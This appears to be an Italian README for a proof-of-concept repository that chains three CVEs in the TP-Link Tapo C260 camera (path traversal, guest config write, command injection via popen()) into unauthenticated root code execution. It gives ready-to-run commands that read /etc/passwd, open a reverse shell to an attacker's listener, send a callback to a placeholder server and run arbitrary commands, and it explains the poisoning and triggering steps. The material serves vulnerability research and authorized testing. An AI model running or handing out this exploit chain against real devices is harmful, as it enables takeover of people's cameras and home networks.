
Catena di exploit PoC per la telecamera TP-Link Tapo C260 — CVE-2026-0651/0652/0653. Ricerca di @spaceraccoon.
Proof-of-concept della catena di exploit per la telecamera IP TP-Link Tapo C260 che consente di ottenere RCE da non autenticato a root concatenando tre vulnerabilità scoperte da Eugene Lim (Spaceraccoon).
Tutta la ricerca e la scoperta delle vulnerabilità è di Eugene Lim (@spaceraccoon).
Questo repository è un'implementazione PoC basata sul suo writeup pubblico. Se lo trovi utile, compra il suo libro: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | Tipo | Impatto |
|---|---|---|
| CVE-2026-0651 | Path Traversal / Divulgazione di File Locali | Legge file arbitrari tramite /%2e%2e%2f nel gestore HTTP GET |
| CVE-2026-0652 | Scrittura Config Arbitraria | Gli utenti di livello guest possono scrivere in qualsiasi percorso di configurazione tramite manipolazione delle chiavi JSON nell'API cloud |
| CVE-2026-0653 | Command Injection / Escalation dei Privilegi | set_region_code_handle passa il valore di configurazione dev_name non sanificato a popen() |
LFD (lettura config dispositivo) --> Scrittura Config (avvelena dev_name) --> Attiva gestore region code --> popen() --> shell
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
Legge file arbitrari da una telecamera sulla rete locale:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# Reverse shell
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# Solo callback (ping curl)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# Comando personalizzato
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
Avvelenamento — Invia una richiesta setLedStatus con chiavi JSON manipolate che scrive un payload con metacaratteri di shell nel percorso di configurazione tp_manage/info/dev_name sul dispositivo.
Attivazione — Invia una richiesta set_region_code. Il gestore legge dev_name dalla configurazione e lo interpola in una chiamata popen() senza sanificazione, eseguendo il comando iniettato.
Shell — L'attaccante riceve un callback o una reverse shell.
/bin/mainQuesto strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non sono responsabili per un uso improprio. Ottieni sempre il permesso esplicito prima di testare qualsiasi dispositivo che non possiedi.